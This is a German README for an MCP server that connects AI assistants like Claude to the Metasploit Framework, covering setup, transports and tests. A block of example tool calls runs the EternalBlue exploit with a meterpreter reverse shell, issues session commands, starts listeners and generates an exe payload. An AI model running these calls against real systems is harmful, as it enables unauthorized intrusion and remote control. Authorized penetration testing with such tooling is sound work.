MCP-Server für Metasploit
Ein Model Context Protocol (MCP) Server für die Metasploit Framework Integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Dieser MCP-Server stellt eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstest-Plattform Metasploit Framework dar. Er ermöglicht es KI-Assistenten, Metasploit-Funktionen über standardisierte Tools dynamisch aufzurufen und zu steuern, wodurch eine natürliche Sprachschnittstelle zu komplexen Sicherheitstest-Workflows entsteht.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Wo generierte Payloads gespeichert werden
Den Metasploit-RPC-Dienst starten:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Der Server unterstützt zwei Transportmethoden:
Sie können den Transportmodus explizit über das Flag --transport auswählen:
# Mit HTTP/SSE-Transport ausführen (Standard)
python MetasploitMCP.py --transport http
# Mit STDIO-Transport ausführen
python MetasploitMCP.py --transport stdio
Zusätzliche Optionen für den HTTP-Modus:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Für die Integration mit Claude Desktop konfigurieren Sie claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Für andere MCP-Clients, die HTTP/SSE verwenden:
Starten Sie den Server im HTTP-Modus:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:
http://your-server-ip:8085/sse⚠️ WICHTIGE SICHERHEITSWARNUNG:
Dieses Tool bietet direkten Zugriff auf die Fähigkeiten des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsvoll und nur in Umgebungen, in denen Sie ausdrücklich die Erlaubnis zur Durchführung von Sicherheitstests haben.
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)Dieses Projekt enthält umfassende Unit- und Integrationstests, um Zuverlässigkeit und Wartbarkeit zu gewährleisten.
Testabhängigkeiten installieren:
pip install -r requirements-test.txt
Oder das praktische Installationsprogramm verwenden:
python run_tests.py --install-deps
# ODER
make install-deps
# Alle Tests ausführen
python run_tests.py --all
# ODER
make test
# Mit Coverage-Bericht ausführen
python run_tests.py --all --coverage
# ODER
make coverage
# Mit HTML-Coverage-Bericht ausführen
python run_tests.py --all --coverage --html
# ODER
make coverage-html
# Nur Unit-Tests
python run_tests.py --unit
# ODER
make test-unit
# Nur Integrationstests
python run_tests.py --integration
# ODER
make test-integration
# Tests zur Optionsverarbeitung
python run_tests.py --options
# ODER
make test-options
# Tests der Hilfsfunktionen
python run_tests.py --helpers
# ODER
make test-helpers
# MCP-Tools-Tests
python run_tests.py --tools
# ODER
make test-tools
# Langsame Tests einschließen
python run_tests.py --all --slow
# Netzwerktests einschließen (erfordert tatsächliches Netzwerk)
python run_tests.py --all --network
# Ausführliche Ausgabe
python run_tests.py --all --verbose
# Schnelltest (kein Coverage, Fail Fast)
make quick-test
# Debug-Modus (detaillierte Fehlerinformationen)
make test-debug
tests/test_options_parsing.py: Unit-Tests für die fehlertolerante Optionsverarbeitungtests/test_helpers.py: Unit-Tests für interne Hilfsfunktionen und MSF-Client-Verwaltungtests/test_tools_integration.py: Integrationstests für alle MCP-Tools mit simuliertem Metasploit-Backendconftest.py: Gemeinsame Test-Fixtures und Konfigurationpytest.ini: Pytest-Konfiguration mit Coverage-EinstellungenNach dem Ausführen der Tests mit Coverage sind die Berichte verfügbar unter:
htmlcov/index.html (bei Verwendung der Option --html)Für kontinuierliche Integration:
# CI-freundlicher Testbefehl
make ci-test
# ODER
python run_tests.py --all --coverage --verbose
Standardmäßig werden mit generate_payload erzeugte Payloads in einem payloads-Verzeichnis in Ihrem Home-Ordner gespeichert (~/payloads oder C:\Users\YourUsername\payloads). Sie können diesen Speicherort über die Umgebungsvariable PAYLOAD_SAVE_DIR anpassen.
Festlegen der Umgebungsvariable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Eingabeaufforderung):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
In der Claude-Desktop-Konfiguration:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Nur hinzufügen, wenn Sie den Standard überschreiben möchten
}
Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass er existiert oder dass die Anwendung die Berechtigung hat, ihn zu erstellen. Wenn der Pfad ungültig ist, könnte die Payload-Generierung fehlschlagen.
Apache 2.0